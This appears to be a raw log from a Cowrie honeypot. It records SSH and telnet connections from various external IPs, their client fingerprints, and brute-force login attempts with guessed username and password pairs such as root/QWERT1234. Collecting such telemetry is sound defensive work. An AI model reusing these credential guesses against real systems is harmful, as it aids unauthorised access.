{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":49274,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c35f594f606","protocol":"ssh","message":"New connection: 123.58.215.196:49274 (10.17.0.5:22) [session: 1c35f594f606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:49.695592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:49.704199Z","src_ip":"123.58.215.196","session":"1c35f594f606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:49.931974Z","src_ip":"123.58.215.196","session":"1c35f594f606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dut","password":"dut","message":"login attempt [dut/dut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:50.813514Z","src_ip":"123.58.215.196","session":"1c35f594f606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:04:52.042533Z","src_ip":"123.58.215.196","session":"1c35f594f606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.64657378196716,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:09.919245Z","src_ip":"128.199.8.54","session":"3fb45d082a96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":43398,"dst_ip":"10.17.0.5","dst_port":22,"session":"152813e04218","protocol":"ssh","message":"New connection: 111.238.174.6:43398 (10.17.0.5:22) [session: 152813e04218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:16.246625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:16.254518Z","src_ip":"111.238.174.6","session":"152813e04218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:16.437012Z","src_ip":"111.238.174.6","session":"152813e04218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52234,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d77287480f5","protocol":"ssh","message":"New connection: 80.94.92.184:52234 (10.17.0.5:22) [session: 1d77287480f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:16.893415Z"}
{"eventid":"cowrie.login.failed","username":"sales1","password":"123456","message":"login attempt [sales1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:17.194632Z","src_ip":"111.238.174.6","session":"152813e04218","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:17.448426Z","src_ip":"80.94.92.184","session":"1d77287480f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:17.452028Z","src_ip":"80.94.92.184","session":"1d77287480f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:18.375878Z","src_ip":"111.238.174.6","session":"152813e04218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:19.405431Z","src_ip":"80.94.92.184","session":"1d77287480f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:21.124212Z","src_ip":"80.94.92.184","session":"1d77287480f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":50414,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d3be5d41389","protocol":"ssh","message":"New connection: 43.129.44.66:50414 (10.17.0.5:22) [session: 1d3be5d41389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:22.749767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:22.755654Z","src_ip":"43.129.44.66","session":"1d3be5d41389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:23.010174Z","src_ip":"43.129.44.66","session":"1d3be5d41389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERT1234","message":"login attempt [root/QWERT1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:24.040288Z","src_ip":"43.129.44.66","session":"1d3be5d41389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:25.292442Z","src_ip":"43.129.44.66","session":"1d3be5d41389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53186,"dst_ip":"159.203.135.109","dst_port":23,"session":"12cae7016495","protocol":"telnet","message":"New connection: 172.81.62.90:53186 (159.203.135.109:23) [session: 12cae7016495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:38.337253Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":38188,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9b17bb44c7c","protocol":"ssh","message":"New connection: 103.248.120.6:38188 (10.17.0.5:22) [session: c9b17bb44c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:45.180244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:45.184939Z","src_ip":"103.248.120.6","session":"c9b17bb44c7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:45.407979Z","src_ip":"103.248.120.6","session":"c9b17bb44c7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"0","message":"login attempt [test/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:46.334173Z","src_ip":"103.248.120.6","session":"c9b17bb44c7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:47.561882Z","src_ip":"103.248.120.6","session":"c9b17bb44c7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":37152,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea2538726386","protocol":"ssh","message":"New connection: 4.213.224.194:37152 (10.17.0.5:22) [session: ea2538726386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:50.491262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:50.503684Z","src_ip":"4.213.224.194","session":"ea2538726386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:50.705018Z","src_ip":"4.213.224.194","session":"ea2538726386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asdfghj1234567","message":"login attempt [root/Asdfghj1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:51.544811Z","src_ip":"4.213.224.194","session":"ea2538726386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:52.749088Z","src_ip":"4.213.224.194","session":"ea2538726386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53986,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6afba7b338","protocol":"telnet","message":"New connection: 172.81.62.90:53986 (159.203.135.109:23) [session: 3e6afba7b338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:55.564178Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38332,"dst_ip":"10.17.0.5","dst_port":23,"session":"533cb8093ae1","protocol":"telnet","message":"New connection: 172.81.62.90:38332 (10.17.0.5:23) [session: 533cb8093ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:05:57.613787Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":53800,"dst_ip":"159.203.135.109","dst_port":22,"session":"172b1be61616","protocol":"ssh","message":"New connection: 91.211.95.158:53800 (159.203.135.109:22) [session: 172b1be61616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:09.622976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:09.627707Z","src_ip":"91.211.95.158","session":"172b1be61616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:09.793342Z","src_ip":"91.211.95.158","session":"172b1be61616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops123","message":"login attempt [ops/ops123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:10.504830Z","src_ip":"91.211.95.158","session":"172b1be61616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.80180335044861,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:11.138949Z","src_ip":"172.81.62.90","session":"12cae7016495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":41988,"dst_ip":"159.203.135.109","dst_port":22,"session":"a378f6a25ecb","protocol":"ssh","message":"New connection: 190.128.201.18:41988 (159.203.135.109:22) [session: a378f6a25ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:11.292255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:11.297579Z","src_ip":"190.128.201.18","session":"a378f6a25ecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:11.439133Z","src_ip":"190.128.201.18","session":"a378f6a25ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:11.666160Z","src_ip":"91.211.95.158","session":"172b1be61616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"malotedigital","password":"malotedigital","message":"login attempt [malotedigital/malotedigital] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:12.036324Z","src_ip":"190.128.201.18","session":"a378f6a25ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:13.179526Z","src_ip":"190.128.201.18","session":"a378f6a25ecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":34078,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb1ad5a9fa36","protocol":"ssh","message":"New connection: 111.238.174.6:34078 (10.17.0.5:22) [session: bb1ad5a9fa36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:18.216831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:18.223956Z","src_ip":"111.238.174.6","session":"bb1ad5a9fa36","protocol":"ssh"}
